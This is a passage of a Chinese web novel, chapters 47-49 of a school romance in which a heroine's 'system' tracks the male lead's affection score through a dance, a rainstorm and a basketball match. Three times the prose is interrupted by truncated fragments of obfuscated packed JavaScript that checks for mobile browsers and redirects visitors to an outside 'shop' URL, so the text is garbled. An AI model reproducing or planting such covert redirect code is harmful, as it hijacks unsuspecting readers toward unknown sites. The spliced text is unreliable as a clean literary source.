0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635266|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路上,他也很着急。」 池映雪点点头,池静俭沉吟半晌,还是决定解释得更充分:「其实找闻蝉的人是他妈妈的故交,对方要赶飞机,时间很紧张,要说的事也是突然发现。」 「至于什么事我不能说,但对他来说很重要……」 “池静俭。” 如夜风寒冷的声音在背后打断池静俭手指的动作,池静俭猛然回头,池映雪的视线也投向不远处终于找到的身影。 颀长,低沉,隐在蓝调的夜色中。 即便沐浴着浅浅的月光,仍旧不甚分明。 池静俭:“我还在找你呢。” 他走到李闻蝉身边,推了他一把,“妹妹也是。” 李闻蝉看向池映雪,很短促的一眼,便低眸接过池静俭手里的手机和充电宝。 屏幕里显示二十多个未接来电,以及无数消息,都被在车上时的焦灼忽视了。 池静俭的手机在这时响起,他向池映雪招了招手,指指李闻蝉,先一步走开。 池映雪的耳边非常安静,就像回到了遇见他以前。 直到她走近,才听见李闻蝉低沉的呼吸声。 借着月色,他的神色越来越清晰。 那双眼睛,浓黑色,垂落的睫毛根根分明,半遮住底下蒙蒙的雾,像是上个梅雨季后氤氲山林的流霭。 池映雪从他手里抽出手机,意外的轻而易举。 耳畔忽然响起饥肠辘辘的声音,池映雪一怔,下意识抬起眼,在李闻蝉脸上终于看到不平静的波动。 只不过很快他就轻咳一声,镇定得就如风暴的正中心。 池映雪偷笑。 「磅蛋糕吃吗?我去取。」 李闻蝉嘴角下沉,正要摇头,池映雪已经将手机塞给他走向建筑。 李闻蝉深呼吸一口气,走到旁边的喷泉边,坐在白色的石台上。 脑后的喷泉水声染着凉,在夜色里波光如割月,偶尔有一两颗水珠飞溅到脸上,让人更加清醒。 一个可爱的小碟子出现在视线里。 磅蛋糕散发甜美的气息,金黄嫩滑。 李闻蝉呆呆地接过碟子,池映雪站在他面前,微微俯下身,在蛋糕上插了一把小叉子。 她学着他,也在石台旁边的位置坐下。 李闻蝉早上起来就开始弄头发,做造型,虽然现在跑乱了,但发型依旧可见原本的二八侧背,轻熟而带着痞气。 中午接到电话就赶去老宅,和老爷子一起招待了唐姨,虽然有用餐,心里装着别的事也没胃口。 直到现在,这块蛋糕应该算是今天第一口正式的食物。 他坐姿不太优雅,双腿散漫地分开,随意地向前手靠膝盖将小蛋糕解决掉。 很甜,恰好是他喜欢的。 是他自作多情,自以为被特别对待的。 贵气的西装在昏暗光线里有些发皱,显得有些颓。 [叮!“让男主吃下你亲手做的食物”任务完成,更新为:“壁咚他!”] [警告!攻略对象好感-1。] 池映雪心想,果然,不好吃么。 还剩最后一小口,李闻蝉的速度越来越慢。 他用余光瞥向身旁的女孩。 显然也好好打扮过一番,即使他觉得还是和平时没什么太大区别。 池映雪的膝盖并拢,两只手放在上面,看上去很乖巧。 她坐在石台上,两只脚都够不着地面,在空中很小幅度地来回晃荡。 下巴昂起来,清亮眼眸里装满天空的倒影,如蓝湖上点一滴银灿灿的月光。 李闻蝉抬头望了眼天,吃掉那一小块蛋糕,远方的宴会厅传来隐约的欢呼。 池静俭:「第二支舞要开始了。」 李闻蝉按灭屏幕,把手机倒扣。 “……” 他烦躁地抓了抓头发,重新划开屏幕,给池映雪看这条消息。 好巧不巧,池静俭又发来新的一条:「快进来跳,大家都在。」 池映雪前后摇晃的脚停下来,看了李闻蝉一眼,倏尔咧起嘴笑,露出两颗可爱的虎牙。 多开心啊。 大家?人家想要的可不是大家。 李闻蝉把手机揣进兜里,移开眼,散落的碎发在额头落下阴影,反射天空的蓝灰色。 一只手伸过来,蓦地闯进他视野。 晚风吹过,空气润而甜,沾上喷泉的潮湿,花园的芳香。 47. 第 47 章 风灌进池映雪的白色蓬蓬裙,像无数只花园里的蝴蝶在里面同时振翅,深秋像是繁春。 她向他伸手,或许有点紧张,睫毛也变成了抖动的蝶。 [警告!攻略对象好感-1。] [宿主请注意!!已经降到40了!] 池映雪:? 什么情况…… 伸出的手掌却在同一时刻被虚托起,李闻蝉站起身,池映雪面前瞬间笼罩苦涩柑橘香味的阴影。 来不及多想,池映雪被他带着起舞。 华尔兹的乐章应该在宴会厅里响起了,可惜她听不见。李闻蝉突然张口,对她念口型。 1,2,3,4。 他数着拍子,逐渐哼起来。池映雪紧盯上方的红唇,耳廓瞬间充盈。 原来她一直学习的舞,是这样的调子,好美。 她突然发现李闻蝉的嘴还蛮好看的,很饱满,很红。刚吃完甜点,稍微干涸。 池映雪左手搭在李闻蝉的右臂上,悄悄看向她的右手和他的左手。 两个手心之间始终隔了一层稀薄的空气,像19.9循环到20的距离。 她抿了抿唇,睫毛心虚地发抖,终于踮起脚尖,把右手往上前方贴去。 更近,更近,很长的一刹那。 毫米之间,李闻蝉恰好顺着舞步撤后一小步,手随之拉远。 池映雪的鞋跟微沉,缓缓落下去。 只是这样不算相贴的靠近,拉远,她的手心却在发烫,不停升温。 和沈星桥跳舞的感觉,为什么一点都不一样。 [警告!攻略对象好感-1。] [当前男主好感:39。] 恰好也是最后一个动作,池映雪抬起的手臂传来酸涩,转了一个圆圈,回身后猛然停下脚步。 她没有站稳,一直疏离的宽大手掌在这时终于贴近。 骨节分明的修长手指如冷玉锢住她的腰,用力到池映雪微微颤抖。 那只手又在眨眼间抽离,似乎一切都是错觉。 池映雪想要张口,喉咙传来一阵哑痛。 那一点零星的声音,她还没有练好,就发不出来了。 池映雪抬头与李闻蝉再次对视。 可是,他真奇怪。 明明在对她降好感,明明都不再认可。 ……表情却比她还落寞。 国庆收假,本该死气沉沉的五班因为徐静萌踏进班门欢呼雀跃。 徐静萌粉衣笑颜,在讲台上大手一挥:“秋怡问一下大家想喝哪家奶茶,中午我请,人人有份!” 胡挚兴奋地吹口哨,书包都来不及放下,把课本卷成传声筒:“萌萌姐万岁——” 池映雪正好接水回来,将打包好的奶酪磅蛋糕放在万苏瑶桌上。 万苏瑶抱住她,蹭来蹭去。 池映雪被她挤着脸蛋,转头看见胡挚后面空荡的座位。 [宿主,别难过呀,我们再接再厉,一定能重新取得男主大人的好感的!] 池映雪眼神闪了闪。 “其实,我也没有那么难过。” 系统不信:[宿主不用假装坚强哒,我会一直都支持宿主的!] 池映雪摇头。 “本来大桥那晚就该告诉他一切的,但是我……”舍不得。 “现在好感度掉下去一点也不算坏事,起码,我不用那么早结束任务。” 不就是不被认可,她早就习惯了。 池映雪眉眼轻快。 [咦!]系统瞬间蹿起来,[宿主不想结束就一直攻略下去嘛!!赚男主大人的好感、和他****——!] 池映雪赶紧捂住它的电子屏。 她叹了口气,转移话题:“系统,我能知道李闻蝉昨天发生了什么事吗?” [不行的宿主,原著里没有描写的情节,你都无法知道。] [不过宿主可以尝试解锁男主妈妈相关的小传,说不定能找到答案。] 系统弹出一个479字的页面。 池映雪一愣:“这么少吗?” [因为很早就去世了嘛。]系统叹了口气,[在男主大人6岁那年。] 校会快开始,池映雪被万苏瑶拉着下楼,脚步沉重。 等再次回到教室,终于见到趴在桌上睡觉的少年。 李闻蝉的黑色头发清清爽爽,像是早上起来洗完后吹的,蓬松地垂下来,莫名有点丧。 斜挎包被他当作枕头,校服外套大敞,两条长腿毫无规矩地散漫摆放。 出乎意料的是,他这一觉直接从早睡到了中午。 放学后的楼道,胡挚追上池映雪和万苏瑶她们:“一起!” “我也去食堂,看方不方便给蝉哥带点啥回来。” “他是不舒服吗?” 见胡挚耸肩,万苏瑶纳闷,“李闻蝉这才好好学习几天啊,又睡了。” 秋怡:“就是,亏我还给萌萌姐说你俩学好了。” 胡挚挠挠头。 虽然但是,他蝉哥才不是那种两天晒网的人,之前说要发愤,应该也不是口嗨。 胡挚买了双人份的汉堡和果珍带回教室,池映雪她们在食堂吃完,回去的时候,李闻蝉刚好洗完手回到座位。 他低头擦手,出去扔纸团的空隙,徐静萌订的奶茶到了。 发奶茶的是刚问题回来的小组长,平时不爱喝奶茶,看不出什么分别,每个座位放一个了事。 李闻蝉推开后门,一眼就看见小组长放了一杯牛乳阿华田在他桌上。 李闻蝉回想了一下这人的名字:“张哲——” 一道身影比他声音更快,隔着过道,伸手用笔帽戳戳放奶茶的手。 小组长回头:“池、池同学?” 池映雪朝他笑了笑,拿走阿华田,从塑料袋里挑出一杯全糖的珠珠美莓奶茶,换到李闻蝉的桌上。 她很快转回去写题,小组长被她的笑晃了眼,愣头愣脑地飘走。 [叮!攻略对象好感+1。] [当前男主好感:40。] 池映雪停笔,借着给奶茶插吸管的动作向右看去。 李闻蝉的唇抿成一条直线,抽凳子的声音很大。 坐下的动作急促,手撑在脑袋上,挡住了朝她这边的侧脸,手臂在冷白皮肤上落下一片郁阴。 耳朵有些红。 李闻蝉用吸管戳封口,戳了几下都没戳下去,磨了磨牙。 “……不争气。” 胡挚:“蝉哥,你说什么?” 啪。 李闻蝉终于戳开:“没什么。” 他漫不经心地吸了一口奶茶,面色放松,又拧起眉问道,“你们聊什么呢?” “我们啊~”胡挚冲池映雪扬了扬下巴,“在说17岁的某个学神,好像又长高点了。” 圆圆的粉色珍珠卡在李闻蝉的吸管里,不上不下。 池映雪不解地对上胡挚的目光,歪了歪头。万苏瑶抬手比她的身高,发消息:「小雪,你最近有量身高吗?」 池映雪瞬间坐直身子,骄傲地扬眉。 小雪:「嗯,我162.5cm啦!」 小雪:「(鞭炮)」 万苏瑶:「(鞭炮)(强)(强)」 李闻蝉在胡挚捧起的手机屏幕上扫到这句话,手掌靠在人中的位置,扭头看向窗外,很轻地牵起唇角。 胡挚突然猛拍脑门。 “我说我之前怎么觉得有种似曾相识的感觉。”他转向李闻蝉,“雪神生日阴历九九,不正好是蝉哥你的球衣号码吗?” 胡挚促狭:“缘分啊~~” 李闻蝉眉心一动,表情淡下来。 他对胡挚摇头,摆了摆手,深深眼眸染上些严肃:“以后别这么说,让人误会不好。” 修长的手指擦掉奶茶杯壁冒出的冷水珠,“……人家知道了,也不会乐意。” 胡挚:“咦——” “谁会误会啊。” 池映雪炫耀完身高,老老实实地做齐幂走前单独留下的提高卷。一共三套,她终于快写完了。 刚解完倒数第二道大题,眼前就弹出“好感度-1”的警告。 池映雪:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635267|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,凭什么?? 下午最后一节班会课,徐静萌讲完期中考相关的事,就留时间让同学们自习。 为了错峰,值日生一般会趁这个时间去倒垃圾或扫走廊。 今天倒垃圾的人就是池映雪,她把塑料袋绑好。因为有奶茶杯,袋子看上去挺大,实际上大都是空的,一点也不重。 池映雪婉拒了万苏瑶和胡挚帮忙,一手提着一个袋子下楼。 她慢悠悠地消失在楼梯口,胡挚轻咳两声,对后排打了个响指。 “哥,别看了。” 李闻蝉:……… 李闻蝉靠在椅背上,吊儿郎当地翻漫画,语气轻飘飘:“我看什么了?” “这篮球飞人真好看,经典就是经典。” 胡挚:“我靠!” “你有伞吗?” “?”李闻蝉掀起眼皮,“没带。你敲桌子干嘛?” 他扫视教室,提醒道,“自习,声音小点儿。” “不是我……” 胡挚瞥向窗外,霎时被白光刺眼。 “蝉哥,打雷了。” 池映雪扔完垃圾,没及时回教室,而是照着万苏瑶给的简易地图,去宿舍楼旁边的东门驿站取快递。 许苹安和裴景给她寄了生日礼物,下午刚到。 池映雪眉眼弯弯。 不知道今年会是什么,反正去年,裴景说用了她整理的全科笔记后成绩猛进,奖学金在付完学费后还有剩余,所以带着有一定零花的许苹安,凑钱买了一部智能手机给她。 在那以前,池映雪一直用老人机。智能手机并不是什么高级的品牌,但可以更便捷地使用V信、企鹅,池映雪收款也是靠它。 只可惜那时没能找到她的身份证,也不敢让应母发现这个手机,没有办成电话卡,用的机会很少。 更可惜的是,在回到池家的前几天,手机丢了。 池映雪有充分的理由怀疑是应母发现后私吞,然而应家人没有手机密码,池映雪也早就在拿到新手机后确认过一千元的余额还在V信上。 空气变得黏腻,鼻尖涌动潮湿的泥土和草叶气味。 头顶的天空骤然暗下,地面像铺上一层幽灰,无数落叶静谧地狂卷翻滚。 豆大的雨点打下,池映雪将快递纸盒紧紧抱在怀里,往屋檐下跑。 难怪刚才她出驿站时,有几个阿姨在路上飞奔,估计是听到电闪雷鸣的声音。 这场雨很急,她还没跑到有遮挡的地方,裤脚就已经湿了。 一片阴影从后方盖住她,池映雪一下子停下脚步。 冷香混在雨味里,沈星桥的校服依旧整齐得体。 眉眼清凌,面上挂着和煦温文的笑,好像这样极端糟糕的坏天气也影响不到他。 「好巧。」 他的伞很大,遮住两个人还绰绰有余。 「我今天下午有事请假,刚返校就遇见你,幸好。」 「我送你回去吧。」 池映雪感激地点头,想起他昨天说自己的腰被东西磕伤了,主动问:「你的腰,回去有上药吗?」 沈星桥眸色一闪,淡笑起来,没说话,撑伞向教学楼的方向迈步。 他不愿意说,池映雪就很有分寸地没再问。 通往教学楼要路过垃圾回收站,池映雪无意识投去视线,意外地睁大眼,定在原地。 沈星桥顺着她的目光看去。 敞开的校服外套,被水渍溅湿的裤腿。无论何时都得天独厚的大少爷此刻打着一把对他来说过分小的红色洋伞。 细密的雨丝斜着飞向他的宽肩,额前的黑发有不少凌乱地贴在肌肤上。 单手撑伞,另一只手臂挂着干净而干燥的运动外套,只有它没有淋到雨。 沈星桥的眼尾挑起,看向李闻蝉站立的左侧——学校的垃圾回收站,清理得很干净,没有异味。 可大家都知道这位少爷有洁癖,怎么会来这里。 池映雪脚尖微动。 李闻蝉打着她的雨伞,忽然懒散地勾唇。 “还挺巧。” 48. 第 48 章 他的语调懒洋洋的,寡淡不羁,带着些微鼻音,在雨幕里不甚清晰。 “我来丢个垃圾,毕竟班上的垃圾袋被值日生清空了。” 这样吗? 池映雪心虚地掂了掂怀里的纸盒,眼看着李闻蝉从口袋里掏出——机车钥匙和驾驶证。 池映雪:? 李闻蝉静止了一秒,面无表情地塞回去,重新掏。 手机。 校园卡。 身份证。 终于在裤子口袋里摸出一根棒棒糖,把包装纸拆下来,如释重负地扔进垃圾桶里。 晶莹的雨水从小洋伞边滑下,李闻蝉含着糖,咔嘣咔嘣地咬碎,率先转身朝教学楼的方向走。 掩埋在潮湿泥土气息里的巧克力味一晃而过,他嘴里叼着的塑料棒雪白,看不清糖球颜色。 是她闻错了吧。 刚才被仔细呵护的外套如今随意拎在手上,袖子垂下,时不时被风雨侵蚀。 池映雪耳畔的雨声和踩水声放大又变小,啪嗒啪嗒,随那道直挺的茕孑背影逐渐彻底消失。 语文课。 五班的默写得分整体不好,临近期中考,语文老师专门开了一堂专题课,复习背诵篇目。 老师:“下面这首,秦观的《鹊桥仙》。” “纤云弄巧,飞星传恨……忍顾鹊桥归路……大家先自己复习,看看注释。” 李闻蝉原本转着笔发呆,黑笔忽然停在手指间,啪嗒一声掉在桌上。 浓墨般的眼眸玩味,不轻不重地眨动两下,讽刺地扯起嘴角。 [警告!攻略对象好感-4。] [当前男主好感:35。] 没过多久,语文老师扫视教室,一下就看见最左边最后排那个扎眼的存在。 头顶倒扣着数学书挡光,背上盖着外套。 上课睡觉就算了,还如此明目张胆! 语文老师青筋暴起,随手捻起一个粉笔头抛过去。 白色的抛物线宛如流星,胡挚抬头,学着李闻蝉之前的语气:“哟,飞星传恨!” “…………” 一只白到发冷的手从课桌上举起,恰好接住粉笔,往幸灾乐祸的胡挚后脑勺戳了戳。 “李闻蝉,困了去后面站着!” 吱——椅子滑开。 李闻蝉额前的碎发略微凌乱,眼神懵懂而不耐,拍了拍手上的粉笔灰。 池映雪给注释划线的笔停下来。 身后又有些发凉,空空荡荡。 李闻蝉这回却只是在原位站起,随意地靠墙。 他无聊地看窗外,暴雨的第二天,万里无云,闷热得让人烦躁。 窗户的倒影里,左边的女生已经合上必背篇目的小册子,闭眼默诵。 下课后,李闻蝉从抽屉里抽出同款的册子,走到教室后方的置物柜前。 一人两个柜子,上面的大柜子被他用来放常用的物品。 李闻蝉打开小柜子的门。 唰唰唰—— 许多纸张摩擦的声音响起,池映雪回过头,对着一地的粉红色信封眨了眨眼。 再往上,敞开的柜门内,还有塞得满当当的信封、明信片,甚至是已经枯萎的花。 李闻蝉一脸黑线。 胡挚蹦过去帮他一起收拾:“你下面柜子没上锁啊?” “没。”李闻蝉无语,“没放过东西,懒得锁。” 胡挚“啧啧啧”了好几声,摇头:“你对自己的颜值真是没有认知。” 无数清新色调的情书中,有一份黑色信封很显眼,胡挚拿起来仔细观摩:“这人倒是别出心裁哈,知道我们蝉哥喜欢黑色?” 李闻蝉一把夺过,毫不在乎地与其余信封垒在一起:“没什么好看的。” 柜子空出来,他捏住小册,手腕使力。 将要丢出时手却停顿在半空,而后将册子轻放在柜里,上了锁。 万苏瑶观摩完此等盛况,对池映雪感慨:「讲真,lwc平时太没架子,我都快忘了他是我们学校男神榜并列第一的大人物了。」 池映雪皱眉:「……什么榜?」 万苏瑶不自然地咳嗽,转来一个链接。 论坛-匿名投票:【虹文中学20xx级校园男神投票结果汇总】 池映雪扫了一眼,这种榜单居然有远超她们年级人数的人参与投票,而且提名人连照片都没有,靠的是口耳相传、线下见面,李闻蝉和沈星桥并列第一。 【我觉得单论五官lwc更帅,但我不敢投他qoq谁懂……】 【+1,lwc帅是帅,就是太凶了,还有那些传闻(别杠我,空穴不来风),sxq温柔学神谁不爱。】 【其实lwc身边那几个小弟也很帅,果然帅哥的朋友也是帅哥!】 万苏瑶指着这条回帖嫌弃道:「这是虎子小号吧?」 池映雪莞尔,抬起的嘴角在万苏瑶转身后慢慢淡下。 系统:[宿主怎么啦,心情不好吗?] 系统给电子屏换了个萌萌的背景,字体换成“软糖治愈系”。 “没有呀。” 课间结束,徐静萌走进教室,监督大家上连堂自习。 池映雪看了眼右边趴在桌上的后脑勺,把桌面的杂物整理好,也把头枕在胳膊上。 脑袋和睫毛都沉沉的,还有头顶的气压。 系统:[……] 宿主这么爱学习的好宝宝居然上课睡觉,这不是心情差,还能是什么? 它担心地绕了两圈,任务界面忽然亮了,一语惊醒梦中统。 [叮!“和男主一起睡觉”任务完成,更新为:“来一次手把手的甜蜜教学叭!”] 胡挚之前跟在李闻蝉后面学了一个多周,国庆去农场时想了想,把池映雪选的教辅带进包里。 半夜起来看见老胡同志偷偷擦眼泪,那之后的作业都按时完成。 有道数学题搞不懂,正好徐静萌就在讲台,胡挚过去问题。 回来后盯着后排整整齐齐的两个脑袋,怀疑人生。 他有罪。 他和蝉哥,好像把雪神带坏了…… 太阳强烈,李闻蝉眉心皱起,揉着眼在座位上醒来。 坐直身,无意向左瞥一眼,眉骨向上微抬。 大半张脸都软软地依偎在交叠的臂弯中,另外的部分沐浴纯白日光,朝向他的课桌。 她睡得也不太安稳,薄薄的眼皮轻颤,连带着睫毛。 砰。 李闻蝉的水杯掉在地上,滚了两圈,被他一把捞起来,咕嘟咕嘟往下灌。 喉结上下滚动,没过多久水杯就见了底。 李闻蝉舔唇,还是很干。 胡挚听见后面的动静,把手里的题写完,一回头就笑道:“你也看呆了对吧?” 李闻蝉手里的水杯差点又没抓稳。 “……嗯?” “看雪神。” 胡挚把笔夹在手里,旋转后对准池映雪。 池映雪是被什么东西砸在地上的响声吵醒的。 还迷迷糊糊的,刺眼的光线消失,紧接着就听见一个更清晰、更好辨认的男声:“池映雪?” 池映雪努力想要睁开眼,那道散漫又顽劣的声音接着说,“我看她干嘛。” 李闻蝉:“你的错觉。” 胡挚:“哈?” “行吧,反正我刚才是看呆了。” “你……?”握水杯的手指用力,骨感凸显。 “对啊!居然能看见雪神上课睡觉,我忽然懂我爸看见我写作业的那种心情了!” 李闻蝉眯起的眼睛瞪大,神色一僵,手支在太阳穴点了两下头。 左侧的座位突然传来不小的动静,很是罕见。 二人偏过头,只见池映雪在整理书架,动作不比平常小心轻缓。 蓝色的窗帘不知何时已经被拉上,只剩头顶白炽灯单调的照射。 池映雪对系统说:“是,男神榜第一看我干嘛,我又没什么好看的。” 系统为难地在她和男主大人之间来回打转,最后选择瘫在宿主身边。 系统:[宿主消消气,男主没眼光。] 系统:[话说回来,刚才宿主睡觉的时候,男主的好感一直上下起伏呢!] 池映雪把数学书抽出来:“喔。” 谁管他。 “怎么起伏的?” [嗯……+1,-2,+3,-1,-2……] 系统照着历史记录念,[最后没变,还是35。] 池映雪手一空,数学书掉下去,被她换了好几个位置都不满意。 晚自习前,穆雨阳在七人小群里发消息。 「虎子,我听我们班体委说你俩约了明天打友谊赛?」 胡挚:「对,我们两个班,你上么?」 穆雨阳发了个心虚的表情包:「我上去给你们班送分吗?」 「那确实,你一个,章子健一个,理综任意一门扣的分和一场里拿的分差不多。」 穆雨阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池映雪面色缓下来,笑了笑,又眼睛亮亮地看向李闻蝉,却只得到一个下撇的嘴角、一双冷淡的眼眸。 池映雪:●︿● 她收回眼,把下半张脸闷进胳膊里趴着,对系统吐槽:“以前不是朋友的时候,我感觉他有在把我当朋友。” “现在好感也够了,他也亲自盖章了,我怎么觉得他反而没把我当朋友了?” 系统只好劝她:[宿主没事哒!现在离40也没有多少距离,咱们再努努力,肯定还能重新升上去的!] 池映雪点头,眼睛里的光回来了些,忽明忽灭。 她已经和妈妈说过感觉耳朵有所好转,虽然秦书在之前听过医生的话后,不抱什么希望,还是答应期中考完就带她去复查。 因为耳道和神经方面的原因,池映雪没法植入人工耳蜗,但想必按照现在的听力水平,助听器是没问题的。 顺利的话,她以后就能听见其他人的声音了。 池映雪眼波闪闪,不由侧过头,望向那张好看的唇。 ……明明是最期待的事之一。 心情却有些微妙。 手机亮起。 瑶瑶:「可惜了,lwc为什么不上场啊?他不在,我们班输定了。」 小雪:「胡挚他们不行吗?」 基于之前那篇同人文,她现在潜意识里都认为胡挚是黑皮体育生,况且他还是体委,应该也挺厉害。 瑶瑶:「胡挚还凑合吧,但他一个人也救不了其他人的菜。lwc可以。」 池映雪回忆起初次见面的篮球赛,好像确实是这样。 从那时候,他就是万众瞩目的。 所以李闻蝉为什么不上场呢? 这样的话,一班会赢的吧。 右方响起笔敲在桌上的声音,很响亮。 “虎。” 李闻蝉对回头查看的胡挚淡声道,“我改主意了,我上场。” 胡挚一声欢呼,池映雪跟着松了口气,唇角微微上扬。 坐正前,忽然撞进李闻蝉那双浓黑的眼眸。 那里面倒映着她的微笑。 李闻蝉眼底泛起淡淡的不爽,挑眉,很恶劣地勾了勾唇,脸上写着两个字。 挑衅。 池映雪:? 49. 第 49 章 虹文的篮球馆由一位体育界的知名校友捐赠,场馆建得很气派,设施先进。 看台设在二楼,一楼是球场、更衣室、备战区。 万苏瑶不知从哪里搞来一堆花球,给愿意在备战区加油助威的后勤小队人手发一个,自己和秋怡去后面的墙上挂必胜横幅。 池映雪作为被钦点的“吉祥物”,头戴“5”形状公仔的发箍,帮忙给队员们发水,并在水上贴纸条,注明名字。 她本来还在想这样的阵仗是不是太大,扭头一看,对面的池鲤鲤和邢芷她们甚至换上了专门的拉拉队服。 虹文这种大学校就是不一样啊。 篮球赛安排在周四下午,从中午饭后打到体育大课。大课是六个班一起上,他们申请球赛,另外几个班顺势申请了观战,眼下已经有不少外班的同学从食堂赶来。 场馆内忽然爆发一阵吸气声,紧接着是此起彼伏的尖叫。 ——五班的篮球队从更衣室走出,身量高挑,器宇轩昂,队尾两个男生突出的显眼,尤其是冷白皮的那位。 走路懒散,像披戴被造物主钟爱的光。 胡挚挡了一波从看台飞来的棒棒糖,对并肩行走,正在整理队服的李闻蝉咳嗽几声。 李闻蝉最后调整着面前印着“99”的队服,下颚微敛,墨睫眨动,修长手指的动作放缓一瞬。 紧接着,天生带着冷感的眉眼向上扬,扫视一圈。 呼声一下高涨,又讪讪收回,再没人敢往他这边丢东西。反观对面更衣间里走出来的沈星桥,眉眼含笑,温煦如春,捡起砸向他的棉花娃娃捧了满怀,还对二楼的女生们鞠躬。 李闻蝉不以为意,眼睑耷拉下,余光淡淡分给同班的后勤小队。 几个女生叽叽喳喳聚在一起,最旁边那个显得更加安静,正看向对面班级的横幅。 池映雪把写着每个队员名字的纸条贴在矿泉水瓶上,眼前弹出“好感-1”的框框,她已经见怪不怪了。 刚贴完最后一张,两个高大的人影走过来。 胡挚弹了弹她头顶发箍的“5”,连接发箍和毛绒公仔的小弹簧前后摇晃,权当打招呼。池映雪无语地笑,把写有他名字的水瓶递过去。 再弯腰,李闻蝉那一瓶已经被他拿走。 他偏着头,完全没在看她,池映雪悄悄将手握成拳头,朝面向他的空气砸了一下。 之前见过的队服略宽松地套在黑T外,露出紧致有力的手臂,线条漂亮,青筋白皮,骨骼感明显。 池映雪目光流转,火气很快降下去。 李闻蝉的手,有点好看。 之前听苹安说什么“手控”,还没有很强烈的感受;眼前宽大手背上的青色纹路清晰可见,指节染着浅粉红色。 池映雪开始理解许苹安为什么那么痴迷。 [叮!攻略对象好感+3。] [当前男主好感:37。] 池映雪的视线从他的手移向胡挚。 对他的朋友好也行? 李闻蝉果然重情重义。只是不知道他认可的朋友里面,还包不包括她。 咕嘟—— 李闻蝉仰头,一颗晶莹的水珠滑落到下巴,被他随手擦掉,边转身边调整手上黑色的护腕。 护腕对得很整齐,手腕的筋骨随整理的动作隐隐起伏。 “这就走了?诶,等等我!” 胡挚才喝了两小口,说话含糊不清,把水拧紧瓶盖放到李闻蝉瓶子旁边。 刚直起身就再次俯下去,惊奇地看了一眼。 不是。 比赛还没开始呢,他水都喝一半了! 最近怎么老见鬼? 球赛开始后,胡挚觉得刚才那都不算什么。 他蝉哥的篮球技术那叫一个没话说,灌篮三分传球都是出神入化,最牛的是预判,一打一个准。就是性子散漫,打着打着就觉得没意思,要不后场才上,要不提前下场去冲澡。 可今天不一样了! 不只是他,看过一两场的人都发现,五班那个李闻蝉今天打得格外凶。 万苏瑶脸都快笑烂了,还不忘给池映雪解说:「李闻蝉打得好啊!刚那个三步上篮绝了,比体育老师教的还标准!」 「你看一班那些打球的都快哭了,合着他们以前拼尽全力从李闻蝉手里抢来的分,实际上是这位爷随便打,从手里漏出来的!」万苏瑶目不转睛,盲敲键盘,「他们也只能寄希望于沈星桥了。」 池映雪抬起头,看向激烈的球场。 的确。至今为止两队胶着,投篮次数不算多,但比分已经拉到57:34,那34分有24分都是沈星桥一个人拿下;而五班的57分,几乎全是李闻蝉冲出重重围堵投出来的。 记得来虹文的第一天那场比赛里还不是这样,当时一班的整体水平看上去比胡挚他们高很多,李闻蝉虽然半途才上场,但最后也算险胜。 现在李闻蝉持球,沈星桥去拦他。 池映雪想到之前答应沈星桥的消息,心虚地眨眨眼。 嗯…… 她赛前已经在心里加过油了,所以现在就不了。 池映雪双手合十,虔诚地拜了拜球框。 对不起沈星桥,给你加的油,麻烦漏一点吧。 某人可一定不要被堵住啊。 “呵。” 球场上,李闻蝉忽然自嘲地勾了勾右边的唇,发出一声冷笑。 耳边的嘈杂如浪潮加倍袭来,根本无法精准捕捉谁的心声,然而动作或许早已说明了一切。 球场顶部的耀眼白光下,李闻蝉精致的面容半明半暗,黑眸晦暗不清,痞气十足地掀起眼皮深盯面前围堵的男生,像是即将猎杀的野兽。 沈星桥一个不察,被他横冲而过,伸手阻拦却不见球的踪影。 另一边,胡挚接过球,奔到篮下。球很快入框,哨声响起,一班的教练喊停。 李闻蝉顺势回到休息区,池映雪找到写有他名字的那小半瓶水,被推了回来。 万苏瑶刚皱起眉,李闻蝉任性散漫的声音飘起:“不想喝水,这水不好喝。” 万苏瑶:…… 矿泉水不都一个味吗? 她们还特意买了最贵的那种。 天杀的正统豪门大少爷,真难伺候。 万苏瑶看向池映雪,欣慰地点点头。同一个豪门,她家小雪就没染上这些狗德行。 两个女生都不搭理他,李闻蝉撇嘴,继续道:“我渴了。” “我要喝饮料。”他想了想,“橘子汽水就行,小卖部冷柜里的那种,最好再买个冰杯倒进去喝。” 立马有人自告奋勇,李闻蝉垂眼调整护腕,漫不经心地瞥一眼:“还是算了,你们加油声本来就小,走一个人,一会在场上什么都听不见。” 胡挚莫名其妙地看他一眼。 他刚明明看见蝉哥在场上捂耳朵来着…… 人群里冒出一道嘁测:“那就让不出声的同学去买嘛。” 一圈人安静下来,不约而同地看向池映雪。 了解完始末,池映雪仰起脸,看向李闻蝉冷色肌肤上的薄汗,见他喉结突然吞咽。 果然是很渴吧。 池映雪对他比了个“OK”,拍拍万苏瑶的手,小跑出门。 万苏瑶对胡挚抱怨:“你哥事真多。” 胡挚抓了一把头发:“……其实。” “我觉得蝉哥最近,有点更年期。” “我管他更不更年期。”万苏瑶遗憾,“这么远,小雪一来一回,怎么好好看比赛?” 小小的背影消失在通往篮球馆出口的拐角,李闻蝉脚后跟抬起,又缓缓放下。 他紧咬着牙,坐在凳子上又腾地起身,透过胡挚来回晃动的矿泉水瓶,在上面看见自己倒影。 懊悔,变形,扭曲。 挺难看的。 